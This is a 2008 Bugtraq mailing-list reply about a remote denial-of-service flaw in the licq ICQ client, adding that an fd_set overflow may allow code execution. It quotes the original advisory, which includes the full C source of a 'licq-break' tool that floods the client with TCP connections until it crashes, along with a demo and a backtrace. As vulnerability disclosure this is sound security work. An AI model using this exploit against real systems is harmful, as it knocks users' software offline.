<<< Date Index >>>     <<< Thread Index >>>

Re: licq remote DoS?



Dear Milen Rangelov,

 Actually,  if  number  of  sockets  is  not  limited, it leads to worse
 situation of fd_set structure index overflow. This problem is described
 here:

 http://securityvulns.ru/news4400.html

 in  case  of  licq  there  is  no check for socket() number to be below
 FD_SETSIZE  and  it  leads  to  potentially  exploitable situation very
 similar  to  off-by-one  overflow  in  icqd-filetransfer.cpp, where one
 (easy) of few (harder) bits on the stack may be controlled by attacker,
 in this situation:

void *FileTransferManager_tep(void *arg)
{
  CFileTransferManager *ftman = (CFileTransferManager *)arg;

  fd_set f_recv, f_send;

....
  
    nSocketsAvailable = select(l, &f_recv, &f_send, NULL, tv);


attacker  can  partially  control  ftman  pointer (and may be even saved
ebp/eip), code execution is not something absolutely impossible.


--Tuesday, April 8, 2008, 5:12:56 PM, you wrote to bugtraq@xxxxxxxxxxxxxxxxx:

MR> Hello, 

MR> Licq is a linux qt-based ICQ client. There is a vulnerability in the way
MR> licq processes new incoming TCP connections which can be exploited by a
MR> remote attacker to crash the client.

MR> When executed, licq opens a listening socket at a random port (AFAIK
MR> between 30000 and 65000). There is no host-based authentication and any
MR> remote host can connect to it. Those connections are not closed by licq
MR> after a given timeout period.

MR> When all possible open file descriptors are exhausted (they are limited
MR> to 1024 for non-root users in most linux installations /ulimit -n/), a
MR> new incoming TCP connection causes licq to crash.

MR> Here is some example:

MR> We run licq:
MR> gat3way@gat3way:~$ licq

MR> from another console, we find out the port licq is listening to (we'd
MR> need to portscan if the target is on a remote system):

MR> gat3way@gat3way:/tmp$ lsof |grep licq|grep LISTEN
MR> licq      10783    gat3way    9u     IPv4   35993218            TCP
MR> *:52259 (LISTEN)

MR> Now we run our "evil" denial of service code:
MR> gat3way@gat3way:/tmp$ ./licq-break 127.0.0.1 52259
MR> ip=127.0.0.1
MR> done!

MR> and go back to the console on which we ran licq...oops..

MR> Licq Segmentation Violation Detected.
MR> Backtrace (saved in /home/gat3way/.licq//licq.backtrace):
MR> licq(licq_handle_sigabrt+0x2b4) [0x80f68d4]
MR> [0xffffe420]
MR> /lib/libc.so.6(abort+0x101) [0xb7b17811]
MR> licq [0x80f6b1d]
MR> [0xffffe420]
MR> licq(_Z18MonitorSockets_tepPv+0x3ca) [0x80c907a]
MR> /lib/libpthread.so.0 [0xb7d9e383]
MR> /lib/libc.so.6(clone+0x5e) [0xb7bc173e]
MR> Attempting to generate core file.
MR> ....


MR> The source of licq-break (nothing particular, just connects MAX sockets
MR> to a certain port at the victim's host):
MR> -------------------------

MR> #include <stdio.h>
MR> #include <unistd.h>
MR> #include <stdlib.h>
MR> #include <string.h>
MR> #include <sys/types.h>
MR> #include <sys/socket.h>
MR> #include <netinet/in.h>

MR> // change to suit your needs
MR> #define MAX 1024

MR> int fds[MAX];

MR> int main(int argc, char *argv[])
MR> {
MR>     int port,a;
MR>     char host[12];
MR>     struct sockaddr_in victim;
MR>     struct in_addr inp;

MR>     if (argc!=3)
MR>     {
MR>         printf("usage: %s <ip> <port>\n",argv[0]);
MR>         exit(1);
MR>     }

MR>     port=atoi(argv[2]);
MR>     strcpy(host,argv[1]);
MR>     printf("ip=%s\n",host);

MR>     for (a=1;a<=MAX;a++)
MR>     {
MR>         fds[a]=socket(PF_INET,SOCK_STREAM,0);
MR>         victim.sin_family= AF_INET;
MR>         victim.sin_port=htons(port);
MR>         inet_aton(host,&victim.sin_addr);
MR>         connect(fds[a],&victim,sizeof(victim));
MR>     }

MR>     printf("done!");

MR> }





-- 
~/ZARAZA http://securityvulns.com/